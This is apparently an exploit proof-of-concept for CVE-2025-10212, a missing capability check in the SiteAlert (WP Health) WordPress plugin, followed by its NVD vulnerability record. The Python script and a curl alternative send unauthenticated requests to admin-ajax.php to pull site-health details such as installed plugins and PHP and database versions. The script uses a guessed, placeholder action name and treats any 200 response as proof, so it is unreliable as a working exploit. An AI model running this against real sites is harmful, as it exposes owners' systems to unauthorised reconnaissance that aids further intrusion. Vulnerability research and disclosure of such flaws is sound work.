CVE-2025-10212

# CVE-2025-10212 PoC - SiteAlert Plugin Unauthorized Access # Exploits missing capability check in AJAX endpoints import requests # Target WordPress site URL target_url = "http://target-wordpress-site.com" # WordPress admin-ajax.php endpoint ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # The action parameter corresponds to the unprotected AJAX action # in the SiteAlert (WP Health) plugin payload = { "action": "site_health_check", # Generic action name, actual value depends on plugin implementation } # Send unauthenticated request response = requests.post(ajax_endpoint, data=payload) # Check response if response.status_code == 200: print("[+] Vulnerability confirmed - Unauthorized access successful") print("[+] Leaked site health information:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") # Alternative curl command: # curl -X POST "http://target-wordpress-site.com/wp-admin/admin-ajax.php" \ # -d "action=site_health_check"

{"cve": {"id": "CVE-2025-10212", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:42.100", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SiteAlert (Formerly WP Health) plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on multiple functions in all versions up to, and including, 1.9.8. This makes it possible for unauthenticated attackers to view the site health information, including a list of installed and outdated plugins, PHP and Database version, etc."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/my-wp-health-check/tags/1.9.8/php/ajax.php#L129", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/my-wp-health-check/tags/1.9.8/php/ajax.php#L144", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/my-wp-health-check/tags/1.9.8/php/ajax.php#L159", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0696b9e2-3685-4bea-8b1f-74e2dc927532?source=cve", "source": "[email protected]"}]}}